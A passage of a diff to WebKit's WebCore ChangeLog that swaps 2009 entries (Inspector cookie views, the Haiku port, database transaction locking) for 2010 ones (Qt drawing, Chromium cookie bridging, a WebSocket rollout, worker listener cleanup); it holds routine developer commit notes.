-        (WebInspector.ProfileView.prototype._excludeClicked):
-        (WebInspector.ProfileView.prototype._resetClicked):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel):
-        (WebInspector.ProfilesPanel.prototype.get statusBarItems):
-        (WebInspector.ProfilesPanel.prototype.setRecordingProfile):
-        (WebInspector.ProfilesPanel.prototype._updateInterface):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype.get statusBarItems):
-        (WebInspector.ResourcesPanel.prototype.reset):
-        (WebInspector.ResourcesPanel.prototype._toggleLargerResources):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel):
-        (WebInspector.ScriptsPanel.prototype.get statusBarItems):
-        (WebInspector.ScriptsPanel.prototype._updatePauseOnExceptionsButton):
-        (WebInspector.ScriptsPanel.prototype._updateDebuggerButtons):
-        * inspector/front-end/StatusBarButton.js: Added.
-        (WebInspector.StatusBarButton):
-        (WebInspector.StatusBarButton.prototype._clicked):
-        (WebInspector.StatusBarButton.prototype.get disabled):
-        (WebInspector.StatusBarButton.prototype.set disabled):
-        (WebInspector.StatusBarButton.prototype.get title):
-        (WebInspector.StatusBarButton.prototype.set title):
-        (WebInspector.StatusBarButton.prototype.get toggled):
-        (WebInspector.StatusBarButton.prototype.set toggled):
-        (WebInspector.StatusBarButton.prototype.get visible):
-        (WebInspector.StatusBarButton.prototype.set visible):
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.css: For uniformity, class names are always used to identify status bar buttons. Also, fixed "Reload" button style to use glyphs.
-        * inspector/front-end/inspector.html:
+2010-02-11  Ariya Hidayat  <ariya.hidayat@gmail.com>
 
-2009-08-12  Ariya Hidayat  <ariya.hidayat@nokia.com>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Simon Hausmann.
+        [Qt] Unnecessary QBrush construction for doing a solid color stroke
+        https://bugs.webkit.org/show_bug.cgi?id=34874
 
-        [Qt] Add shadow support in GraphicsContext::fillRect().
+        Use the similar trick like in r54347, i.e. use the special brush for
+        solid color to avoid expensive QBrush constructor.
 
         * platform/graphics/qt/GraphicsContextQt.cpp:
-        (WebCore::GraphicsContext::fillRect): Paint shadow if necessary.
-        (WebCore::GraphicsContext::setPlatformShadow): Inverse y offset.
-
-2009-08-13  David Levin  <levin@chromium.org>
-
-        Unreviewed build fix for Chromium Linux.
-
-        Rollback r47157 as this broke debug tests of Chromium Linux.
-
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintCommon):
-
-2009-08-13  David Levin  <levin@chromium.org>
-
-        Unreviewed build fix for chromium.
-
-        The chromium build broke due to r47185 which added
-        a cookies array to inspector/InspectorBackend.idl.
-
-        * bindings/v8/custom/V8CustomBinding.h: Added the declaration for the cookies callback.
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL(InspectorBackendCookies)): Stubbed out an implementation
-         for the cookies callback.
-
-2009-08-12  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Show Hidden Cookie Data
-        https://bugs.webkit.org/show_bug.cgi?id=28185
-
-          Added new file Cookie.h to the WebCore XCode
-
-        * WebCore.xcodeproj/project.pbxproj:
-
-          InspectorController.cookies() binding
-
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::cookies):
-        * inspector/InspectorBackend.idl:
-
-          Struct for static Cookie information
-          (name, value, path, domain, expires, httpOnly, secure, session)
+        (WebCore::GraphicsContext::setPlatformStrokeColor):
 
-        * platform/Cookie.h: Added.
-        (WebCore::Cookie::Cookie):
-        
-          Getter for the a list of raw Cookies
-          getRawCookies(., ., out Vector<Cookie>)
-        
-        * platform/CookieJar.h:
+2010-02-11  Darin Fisher  <darin@chromium.org>
 
-          Implementation of getRawCookies for the mac platform.
+        Reviewed by Jeremy Orlow.
 
-        * platform/mac/CookieJar.mm:
-        (WebCore::getRawCookies):
+        Pass the Document along to the ChromiumBridge cookie methods.
 
-          Stub other CookieJar implementations to satisfy the interface.
+        https://bugs.webkit.org/show_bug.cgi?id=34878
 
-        * platform/haiku/CookieJarHaiku.cpp:
-        (WebCore::getRawCookies):
+        * platform/chromium/ChromiumBridge.h:
         * platform/network/chromium/CookieJarChromium.cpp:
+        (WebCore::setCookies):
+        (WebCore::cookies):
+        (WebCore::cookiesEnabled):
         (WebCore::getRawCookies):
-        * platform/network/curl/CookieJarCurl.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/soup/CookieJarSoup.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/win/CookieJarCFNetWin.cpp:
-        (WebCore::getRawCookies):
-        * platform/network/win/CookieJarWin.cpp:
-        (WebCore::getRawCookies):
-        * platform/qt/CookieJarQt.cpp:
-        (WebCore::getRawCookies):
-
-2009-08-08  Joseph Pecoraro  <joepeck02@gmail.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Inspector: Cookies in Storage Panel
-        https://bugs.webkit.org/show_bug.cgi?id=27202
-
-          Data Structure for a Cookie. Just Key/Value for Now:
-
-        * inspector/front-end/Cookie.js: Added.
-        (WebInspector.Cookie):
-        (WebInspector.Cookie.prototype.get key):
-        (WebInspector.Cookie.prototype.set key):
-        (WebInspector.Cookie.prototype.get value):
-        (WebInspector.Cookie.prototype.set value):
-
-          A Storage View for Cookies.  Allows for Refresh/Delete:
-
-        * inspector/front-end/CookieItemsView.js: Added.
-        (WebInspector.CookieItemsView):
-        (WebInspector.CookieItemsView.prototype.get statusBarItems): refresh and delete buttons
-        (WebInspector.CookieItemsView.prototype.show):
-        (WebInspector.CookieItemsView.prototype.hide):
-        (WebInspector.CookieItemsView.prototype.update):
-        (WebInspector.CookieItemsView.prototype.buildCookies): parses the inspected window's document.cookie string
-        (WebInspector.CookieItemsView.prototype.dataGridForCookies): creates a datagrid for cookies
-        (WebInspector.CookieItemsView.prototype._deleteButtonClicked): attempt at deleting the cookie (not flawless)
-        (WebInspector.CookieItemsView.prototype._refreshButtonClicked): rebuild the datagrid
-
-          Include a SidebarSection Section in the Databases Panel:
-
-        * inspector/front-end/DatabasesPanel.js:
-        (WebInspector.DatabasesPanel):
-        (WebInspector.DatabasesPanel.prototype.show): calls populateInterface
-        (WebInspector.DatabasesPanel.prototype.populateInterface): adds cookies if they don't exist
-        (WebInspector.DatabasesPanel.prototype.reset): remove cookie specific parts
-        (WebInspector.DatabasesPanel.prototype.addCookies): add cookies sidebar tree element
-        (WebInspector.DatabasesPanel.prototype.showCookies): sets the visible view to a CookiesItemView
-        (WebInspector.CookieSidebarTreeElement):
-        (WebInspector.CookieSidebarTreeElement.prototype.onselect):
-        (WebInspector.CookieSidebarTreeElement.prototype.get mainTitle): just "Cookies" at the moment
-        (WebInspector.CookieSidebarTreeElement.prototype.set mainTitle):
-        (WebInspector.CookieSidebarTreeElement.prototype.get subtitle): no subtitle yet
-        (WebInspector.CookieSidebarTreeElement.prototype.set subtitle):
-
-          New "Cookies" Image for the Sidebar:
-
-        * inspector/front-end/Images/cookie.png: Added.
-        * inspector/front-end/inspector.css:
-
-          Include the Added Files where appropriate:
-
-        * inspector/front-end/WebKit.qrc:
-        * inspector/front-end/inspector.html:
-
-2009-08-12  George Wright  <george.wright@torchmobile.com>
-
-        Reviewed by George Staikos.
-
-        Add SQLTransactionCoordinator.[h,cpp] to WebCore.pro.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28246
-
-        * WebCore.pro:
-
-2009-08-12  George Staikos  <george.staikos@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Mark unused variables to avoid compile failures in -Werror.
-
-        * wml/WMLAnchorElement.cpp:
-        (WebCore::WMLAnchorElement::deregisterTask):
-        * wml/WMLDoElement.cpp:
-        (WebCore::WMLDoElement::deregisterTask):
-
-2009-08-12  Charles Wei  <charles.wei@torchmobile.com.cn>
-
-        Reviewed by Niko Zimmermann.
-
-        This is to add WCSS marquee support , which is defined by OMA and is an extension for CSS2, 
-        It extends CSS display with "display:-wap-marquee;-wap-marquee-dir:xxx;-wap-marquee-speed:xxx;-wap-marquee-style:xxx"
-        Minor fixes by Eric Seidel and George Staikos.
-        https://bugs.webkit.org/show_bug.cgi?id=23727
-
-        No new tests, the tests have already been landed at LayoutTests/fast/wcss/
-
-        * WebCore.pro:
-        * css/CSSParser.cpp:
-        (WebCore::CSSParser::parseValue):
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::applyProperty):
-        * css/CSSValueKeywords.in:
-        * css/WCSSPropertyNames.in: Added.
-        * css/WCSSValueKeywords.in: Added.
-        * rendering/RenderMarquee.cpp:
-        (WebCore::RenderMarquee::start):
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::createObject):
-        * rendering/style/RenderStyleConstants.h:
-        (WebCore::):
-
-2009-08-12  George Wright  <george.wright@torchmobile.com>
-
-        Reviewed by David Hyatt.
-
-        Update the canvas renderer's intrinsic size with the zoomed
-        lengths and ensure the intrinsic size is correct when setting
-        an initial style.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26908
-
-        Test: fast/canvas/canvas-zoom.html
-
-        * rendering/RenderHTMLCanvas.cpp:
-        (WebCore::RenderHTMLCanvas::canvasSizeChanged):
-        * rendering/RenderReplaced.cpp:
-        (WebCore::RenderReplaced::styleDidChange):
-
-2009-08-12  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by Simon Fraser.
-
-        Fix regression for dragging the media controller thumb.
-        https://bugs.webkit.org/show_bug.cgi?id=28211
-
-        Modified the conditions for rejecting events on the media controller
-        to only rejecting mouse events not from the left button.
-
-        Test: media/controls-drag-timebar.html
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlTimelineElement::defaultEventHandler):
-
-2009-08-12  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Eric Seidel.
+        (WebCore::deleteCookie):
 
-        Fixing a deadlock caused by two transactions that run on two
-        different database handles for the same DB. Adding a per-DB thread
-        transaction coordinator that allows the DB thread to run only one
-        transaction per DB file at any given time.
+2010-02-12  Eric Seidel  <eric@webkit.org>
 
-        Adding a regression test for this bug.
+        No review, rolling out r54694.
+        http://trac.webkit.org/changeset/54694
+        https://bugs.webkit.org/show_bug.cgi?id=34633
 
-        Test: storage/multiple-transactions-on-different-handles.html
+        This appears to have caused crashes on the Leopard bot.  See
+        bug 34898.
 
-        https://bugs.webkit.org/show_bug.cgi?id=27966
+        * websockets/ThreadableWebSocketChannelClientWrapper.h:
+        (WebCore::ThreadableWebSocketChannelClientWrapper::didClose):
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::WebSocket):
+        (WebCore::WebSocket::send):
+        (WebCore::WebSocket::close):
+        (WebCore::WebSocket::bufferedAmount):
+        (WebCore::WebSocket::didConnect):
+        (WebCore::WebSocket::didClose):
+        * websockets/WebSocket.h:
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::WebSocketChannel):
+        (WebCore::WebSocketChannel::send):
+        (WebCore::WebSocketChannel::bufferedAmount):
+        (WebCore::WebSocketChannel::didClose):
+        * websockets/WebSocketChannel.h:
+        * websockets/WebSocketChannelClient.h:
+        (WebCore::WebSocketChannelClient::didClose):
+        * websockets/WorkerThreadableWebSocketChannel.cpp:
+        (WebCore::workerContextDidClose):
+        (WebCore::WorkerThreadableWebSocketChannel::Peer::didClose):
+        * websockets/WorkerThreadableWebSocketChannel.h:
 
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * storage/Database.cpp:
-        (WebCore::Database::transactionCoordinator):
-        * storage/Database.h:
-        * storage/DatabaseThread.cpp:
-        (WebCore::DatabaseThread::DatabaseThread):
-        * storage/DatabaseThread.h:
-        (WebCore::DatabaseThread::transactionCoordinator):
-        * storage/SQLTransaction.cpp:
-        (WebCore::SQLTransaction::SQLTransaction):
-        (WebCore::SQLTransaction::debugStepName):
-        (WebCore::SQLTransaction::performNextStep):
-        (WebCore::SQLTransaction::aquireLock):
-        (WebCore::SQLTransaction::lockAquired):
-        (WebCore::SQLTransaction::cleanupAfterSuccessCallback):
-        (WebCore::SQLTransaction::cleanupAfterTransactionErrorCallback):
-        * storage/SQLTransaction.h:
-        * storage/SQLTransactionCoordinator.cpp: Added.
-        * storage/SQLTransactionCoordinator.h: Added.
+2010-02-12  Gavin Barraclough  <barraclough@apple.com>
 
-2009-08-12  Darin Adler  <darin@apple.com>
+        Reviewed by Sam Weinig.
 
-        Reviewed by Geoff Garen.
+        Workers' EventListeners should be removed before JSGlobalData is destroyed
+        https://bugs.webkit.org/show_bug.cgi?id=34903
 
-        Custom properties on DOM objects are lost after GC (as demonstrated by the gc-9.html test)
-        https://bugs.webkit.org/show_bug.cgi?id=28194
+        (Patch co-developed with Alexey Proskuryakov).
 
-        * GNUmakefile.am: Added the two new source files.
-        * WebCore.gypi: Ditto.
-        * WebCore.pro: Ditto.
-        * WebCore.vcproj/WebCore.vcproj: Ditto.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
-        * WebCoreSources.bkl: Ditto.
+        Since http://trac.webkit.org/changeset/54460 the EventListeners registered by a
+        worker thread are not removed until after the thread's JSGlobalData has been
+        destroyed.  This is slightly worrisome since the JSEventListener contains
+        JSObject*s, which will be dangling once the heap is destroyed.  The
+        JSEventListeners may also reference the worker thread's normal world, which
+        again it makes no sense to keep around after the JSGlobalData is freed.
 
-        * bindings/js/JSCSSRuleListCustom.cpp: Added.
-        (WebCore::JSCSSRuleList::markChildren): Call markDOMObjectWrapper
-        on rules in the list.
+        Remove all event listeners immediately prior to tearing down the JSGlobalData.
 
-        * bindings/js/JSCSSStyleDeclarationCustom.cpp:
-        (WebCore::JSCSSStyleDeclaration::markChildren): Added. Call
-        markDOMObjectWrapper on the CSSValue objects that are owned by the
-        declaration as values of the properties.
+        https://bugs.webkit.org/show_bug.cgi?id=34728 addressed the symptoms of this
+        problem, and it is probably cleaner to make the client data's normal world no
+        longer be a member (since it is a ref-counted object), however they should be
+        no requirement to 'detatch' – it makes no sense for anyone to be referencing
+        the world after the JSGlobalData has gone away (the world's purpose is to hold
+        wrapper objects in the JSGlobalData's heap).  Keep the restructuring that makes
+        the normal world no longer be a member, but remove the detach mechanism this
+        patch added & replace with stronger ASSERTs.
 
         * bindings/js/JSDOMBinding.cpp:
-        (WebCore::isObservableThroughDOM): Added code to handle some
-        cases where nodes are observable because they own objects that
-        in turn have custom properties.
-
-        * bindings/js/JSDOMBinding.h: Fix a typo in the header.
-
-        * bindings/js/JSDocumentCustom.cpp:
-        (WebCore::JSDocument::markChildren): Added call to markDOMObjectWrapper
-        for implementation and styleSheets.
-
-        * bindings/js/JSElementCustom.cpp:
-        (WebCore::JSElement::markChildren): Added. Calls markDOMObjectWrapper
-        for attributes and style.
-
-        * bindings/js/JSHTMLCanvasElementCustom.cpp: Added.
-        (WebCore::JSHTMLCanvasElement::markChildren): Call markDOMObjectWrapper
-        on the rendering context.
-
-        * bindings/js/JSStyleSheetCustom.cpp:
-        (WebCore::JSStyleSheet::markChildren): Call markDOMObjectWrapper on
-        items in the stylesheet.
-
-        * bindings/js/JSStyleSheetListCustom.cpp:
-        (WebCore::JSStyleSheetList::markChildren): Added. Calls
-        markDOMObjectWrapper on stylesheets in the list.
-
-        * css/CSSRuleList.idl: Added CustomMarkFunction.
-        * css/CSSStyleDeclaration.idl: Ditto.
-        * css/StyleSheetList.idl: Ditto.
-        * dom/Element.idl: Ditto.
-        * html/HTMLCanvasElement.idl: Ditto.
-
-        * dom/Element.h: Made everything private that could be.
-        Added access to the attributeMap that does returns
-        the existing map without doing any of the lazy-updating work. This
-        is needed to get at the existing attributes during garbage collection
-        without having side effects.
-
-        * html/HTMLCanvasElement.h: Cleaned up the header a bit, making
-        members private. Added renderingContext2D function for use in
-        JSHTMLCanvasElement::markChildren.
-
-2009-08-12  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        Fixes two bugs about Pan Scrolling - Scrolling with middle mouse button doesn't 
-        work in Expanded view on reader.google.com, and Can enter auto scroll from a non-scrollable area.
-        https://bugs.webkit.org/show_bug.cgi?id=28023
-        https://bugs.webkit.org/show_bug.cgi?id=24794
-        
-        Added a new method to RenderBox seeing if the Box can be scrolled and actually has something to
-        scroll, and use that for pan scrolling.
-
-        Test: platform/win/fast/events/panScroll-nested-divs.html
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleMouseDraggedEvent):
-        (WebCore::EventHandler::updateAutoscrollRenderer):
-        (WebCore::EventHandler::handleMousePressEvent):
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::canBeScrolledAndHasScrollableArea):
-        * rendering/RenderBox.h:
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::scrollByRecursively):
-
-2009-08-12  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Fix of <rdar://6728361> Mouse wheel scrolling on a page with expanded drop down 
-        list detaches drop down.
-
-        Added a function for Windows PopupMenu's to return their class name.
-
-         * platform/PopupMenu.h:
-         * platform/win/PopupMenuWin.cpp:
-         (WebCore::PopupMenu::popupClassName):
-
-2009-08-12  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Dan Bernstein.
-
-        WINCE PORT: Color and Gradient
-        https://bugs.webkit.org/show_bug.cgi?id=27511
-
-        * platform/graphics/wince/ColorWince.cpp: Added.
-        * platform/graphics/wince/GradientWince.cpp: Added.
-
-2009-08-12  Yong Li  <yong.li@torchmobile.com>
-
-        Reviewed by Eric Seidel.
-
-        fix a typo in platform/graphics/skia/PlatformContextSkia.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=28172
-
-        No new tests because it's a just typo fix.
-
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintCommon):
-
-2009-08-12  Michelangelo De Simone  <micdesim@gmail.com>
-
-        Reviewed by Darin Adler.
-
-        https://bugs.webkit.org/show_bug.cgi?id=27458
-        Support for the :default CSS pseudoclass, as per HTML5 spec.
-        http://www.whatwg.org/specs/web-apps/current-work/multipage/interactive-elements.html#selector-default
-
-        Tests: fast/css/pseudo-default-001.html
-               fast/css/pseudo-default-002.html
-               fast/css/pseudo-default-003.html
-               fast/css/pseudo-default-004.html
-
-        * css/CSSSelector.cpp:
-        (WebCore::CSSSelector::extractPseudoType): pseudoDefault
-        * css/CSSSelector.h:
-        (WebCore::CSSSelector::):
-        * css/CSSStyleSelector.cpp:
-        (WebCore::CSSStyleSelector::canShareStyleWithElement): sharing stuff is
-        aware that only one default button can be present in a form
-        (WebCore::CSSStyleSelector::SelectorChecker::checkOneSelector): applies
-        the :default CSS pseudoclass
-        * dom/Element.h:
-        (WebCore::Element::isDefaultButtonForForm): new method to determine
-        whether a FormControl is a default button for a given form
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::isDefaultButtonForForm): ditto
-        * html/HTMLFormControlElement.h:
-        * html/HTMLFormElement.cpp:
-        (WebCore::HTMLFormElement::defaultButton): extracts the default button
-        from the form
-        * html/HTMLFormElement.h:
-
-2009-08-12  David Levin  <levin@chromium.org>
-
-        No review, rolling out r47106.
-        https://bugs.webkit.org/show_bug.cgi?id=28215
-
-        This patch relied on a new version of v8 which is not available
-        in chromium yet.
-
-        * bindings/v8/V8Binding.cpp:
-        (WebCore::v8StringToAtomicWebCoreString):
-
-2009-08-12  Steve Block  <steveblock@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Bug 26993 : Geolocation::requestPermission()
-        https://bugs.webkit.org/show_bug.cgi?id=26993
-
-        Second patch to allow the Geolocation permission request to chrome to be asynchronous
-        or synchronous. Fixes a bug where callbacks were called twice when permissions
-        are granted synchronously.
-
-        No new tests required.
-
-        * page/Geolocation.cpp:
-        (WebCore::Geolocation::setIsAllowed): Modified. Calls makeSuccessCallbacks() rather than geolocationServicePositionChanged().
-        (WebCore::Geolocation::geolocationServicePositionChanged): Modified. Updated logic to avoid repeated callbacks when permissions are granted synchronously.
-        (WebCore::Geolocation::makeSuccessCallbacks): Added. Calls success callbacks.
-        * page/Geolocation.h: Modified. Adds makeSuccessCallbacks().
+        (WebCore::DOMWrapperWorld::~DOMWrapperWorld):
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::WebCoreJSClientData::~WebCoreJSClientData):
+        * workers/WorkerThread.cpp:
+        (WebCore::WorkerThreadShutdownStartTask::performTask):
 
-2009-08-12  Anders Carlsson  <andersca@apple.com>
+2010-02-12  Gavin Barraclough  <barraclough@apple.com>
 
         Reviewed by Sam Weinig.
 
-        <rdar://problem/6952336>
-        CrashTracer: [USER] 3 crashes in Safari at com.apple.WebCore • WebCore::SecurityOrigin::canAccess const 27
-
-        Make sure to set the security origin before calling dispatchWindowObjectAvailable.
-        
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin):
-
-2009-08-12  Xiaomei Ji  <xji@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Fix [Chromium] drop down menu letter selection, skip selections
-        https://bugs.webkit.org/show_bug.cgi?id=28205
-
-        Not auto-testable since it is chromim platform specific code, and it involves sending a keyboard 
-        event to the popup, which is not possible (eventSender sends the key
-        events through webview, we want to go through the webwidget).
-
-        * manual-tests/keyboard_select_elements_with_same_beginning.html: Added.
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::isCharacterTypeEvent): style change.
-        (WebCore::PopupListBox::handleKeyEvent): typeAheadFind should be called only when the event is
-        a character type event to avoid calling twice for English.
-        (WebCore::PopupListBox::typeAheadFind): remove unnecessary checking of isCharacterTypeEvent() since the whole function is only called under that condition.
-
-2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Adding GraphicsContext to WebCore/platform/graphics/haiku.
-        https://bugs.webkit.org/show_bug.cgi?id=28130
-
-        * platform/graphics/haiku/GraphicsContextHaiku.cpp: Added.
-        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
-        (WebCore::GraphicsContextPlatformPrivate::~GraphicsContextPlatformPrivate):
-        (WebCore::GraphicsContext::GraphicsContext):
-        (WebCore::GraphicsContext::~GraphicsContext):
-        (WebCore::GraphicsContext::platformContext):
-        (WebCore::GraphicsContext::savePlatformState):
-        (WebCore::GraphicsContext::restorePlatformState):
-        (WebCore::GraphicsContext::drawRect):
-        (WebCore::GraphicsContext::drawLine):
-        (WebCore::GraphicsContext::drawEllipse):
-        (WebCore::GraphicsContext::strokeArc):
-        (WebCore::GraphicsContext::strokePath):
-        (WebCore::GraphicsContext::drawConvexPolygon):
-        (WebCore::GraphicsContext::fillRect):
-        (WebCore::GraphicsContext::fillRoundedRect):
-        (WebCore::GraphicsContext::fillPath):
-        (WebCore::GraphicsContext::beginPath):
-        (WebCore::GraphicsContext::addPath):
-        (WebCore::GraphicsContext::clip):
-        (WebCore::GraphicsContext::drawFocusRing):
-        (WebCore::GraphicsContext::drawLineForText):
-        (WebCore::GraphicsContext::drawLineForMisspellingOrBadGrammar):
-        (WebCore::GraphicsContext::roundToDevicePixels):
-        (WebCore::GraphicsContext::beginTransparencyLayer):
-        (WebCore::GraphicsContext::endTransparencyLayer):
-        (WebCore::GraphicsContext::clearRect):
-        (WebCore::GraphicsContext::strokeRect):
-        (WebCore::GraphicsContext::setLineCap):
-        (WebCore::GraphicsContext::setLineJoin):
-        (WebCore::GraphicsContext::setMiterLimit):
-        (WebCore::GraphicsContext::setAlpha):
-        (WebCore::GraphicsContext::setCompositeOperation):
-        (WebCore::GraphicsContext::clipOut):
-        (WebCore::GraphicsContext::clipToImageBuffer):
-        (WebCore::GraphicsContext::getCTM):
-        (WebCore::GraphicsContext::translate):
-        (WebCore::GraphicsContext::origin):
-        (WebCore::GraphicsContext::rotate):
-        (WebCore::GraphicsContext::scale):
-        (WebCore::GraphicsContext::clipOutEllipseInRect):
-        (WebCore::GraphicsContext::addInnerRoundedRectClip):
-        (WebCore::GraphicsContext::concatCTM):
-        (WebCore::GraphicsContext::setPlatformShouldAntialias):
-        (WebCore::GraphicsContext::setImageInterpolationQuality):
-        (WebCore::GraphicsContext::setURLForRect):
-        (WebCore::GraphicsContext::setPlatformFont):
-        (WebCore::GraphicsContext::setPlatformStrokeColor):
-        (WebCore::GraphicsContext::getHaikuStrokeStyle):
-        (WebCore::GraphicsContext::setPlatformStrokeStyle):
-        (WebCore::GraphicsContext::setPlatformStrokeThickness):
-        (WebCore::GraphicsContext::setPlatformFillColor):
-        (WebCore::GraphicsContext::clearPlatformShadow):
-        (WebCore::GraphicsContext::setPlatformShadow):
-
-2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Modifying WebCore/platform/graphics files to allow Haiku port.
-        https://bugs.webkit.org/show_bug.cgi?id=28128
-
-        * platform/graphics/BitmapImage.h: Adding getBBitmap() function.
-        * platform/graphics/Color.h: rgb_color is the Color struct in Haiku.
-        * platform/graphics/FloatPoint.h: BPoint is the Point class in Haiku.
-        * platform/graphics/FloatRect.h: BRect is the Rect class in Haiku.
-        * platform/graphics/GraphicsContext.cpp: 
-        * platform/graphics/GraphicsContext.h: BView is the PlatformGraphicsContext
-        class for Haiku. Adding getHaikuStrokeStyle() function.
-        * platform/graphics/Icon.h: Adding an empty Icon() constructor because
-        this class isn't implemented for the moment.
-        * platform/graphics/ImageSource.h: BBitmap is the native bitmap class 
-        for Haiku.
-        * platform/graphics/IntPoint.h: BPoint is the Point class in Haiku.
-        * platform/graphics/IntRect.h: BRect is the Rect class in Haiku.
-        * platform/graphics/IntSize.h: BSize is the Size class in Haiku.
-        * platform/graphics/Path.h: BRegion is the Path class in Haiku.
-        * platform/graphics/Pattern.h: Adding the GraphicsDef.h header and the 
-        native pattern type.
-        * platform/graphics/SimpleFontData.h: Adding Haiku's Font.h header.
-
-2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Adding modification to the WebCore/platform/ files to allow
-        the Haiku port.
-        https://bugs.webkit.org/show_bug.cgi?id=28128
-
-        * platform/ContextMenuItem.h: BMenu is the PlatformMenuItemDescription
-        class of Haiku.
-        * platform/Cursor.h: BCursor is the Cursor class of Haiku.
-        * platform/DragData.h: Use a BMessage as DragDataRef.
-        * platform/DragImage.h: Use a BBitmap as DragImageRef.
-        * platform/PlatformKeyboardEvent.h: Use BMessage as event vehicle.
-        * platform/PlatformMenuDescription.h: BMenu is the 
-        PlatformMenuDescription class of Haiku.
-        * platform/PlatformMouseEvent.h: Use BMessage as event vehicle.
-        * platform/PlatformWheelEvent.h: Use BMessage as event vehicle.
-        * platform/PopupMenu.h: Adding a m_menu attribute for Haiku.
-        * platform/Widget.h: BView is the PlatformWidget class of Haiku.
-
-2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Tiny modifications on WebCore files to allow Haiku port.
-        https://bugs.webkit.org/show_bug.cgi?id=28128
-
-        * bindings/js/ScriptControllerHaiku.cpp: Style cleanup.
-        * loader/CachedFont.cpp: Haiku behaves like Qt, Gtk, or Chromium,
-        so many PLATFORM(HAIKU) were added to these functions.
-        (WebCore::CachedFont::~CachedFont):
-        (WebCore::CachedFont::ensureCustomFontData):
-        (WebCore::CachedFont::platformDataFromCustomData):
-        (WebCore::CachedFont::allClientsRemoved):
-        * page/EventHandler.cpp: Like the mac and Qt port, Haiku doesn't need the
-        invertSenseOfTabsToLinks() function.
-        * page/haiku/DragControllerHaiku.cpp: Style cleanup.
-        * platform/image-decoders/ImageDecoder.h: For image decoding Haiku
-        behaves like Cairo or Wx, (not like Skia).
-        (WebCore::RGBA32Buffer::getAddr):
-        * platform/text/PlatformString.h: Adding the String(BString&) and BString()
-        methods specific to Haiku.
-        * platform/text/UnicodeRange.h: Haiku needs to include stdint.h.
-        * platform/text/haiku/TextBreakIteratorInternalICUHaiku.cpp:
-        (WebCore::currentSearchLocaleID): Missing function.
-
-2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Adding the ScrollbarTheme files.
-        https://bugs.webkit.org/show_bug.cgi?id=28125
-
-        * platform/haiku/ScrollbarThemeHaiku.cpp: Added.
-        (buttonWidth):
-        (WebCore::ScrollbarTheme::nativeTheme):
-        (WebCore::ScrollbarThemeHaiku::ScrollbarThemeHaiku):
-        (WebCore::ScrollbarThemeHaiku::~ScrollbarThemeHaiku):
-        (WebCore::ScrollbarThemeHaiku::scrollbarThickness):
-        (WebCore::ScrollbarThemeHaiku::hasButtons):
-        (WebCore::ScrollbarThemeHaiku::hasThumb):
-        (WebCore::ScrollbarThemeHaiku::backButtonRect):
-        (WebCore::ScrollbarThemeHaiku::forwardButtonRect):
-        (WebCore::ScrollbarThemeHaiku::trackRect):
-        (WebCore::ScrollbarThemeHaiku::paintScrollbarBackground):
-        (WebCore::ScrollbarThemeHaiku::paintButton):
-        (WebCore::ScrollbarThemeHaiku::paintThumb):
-        * platform/haiku/ScrollbarThemeHaiku.h: Added.
-
-2009-08-12  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        [Haiku] Adding eight simple files to WebCore/platform/graphics/haiku.
-        https://bugs.webkit.org/show_bug.cgi?id=28122
-
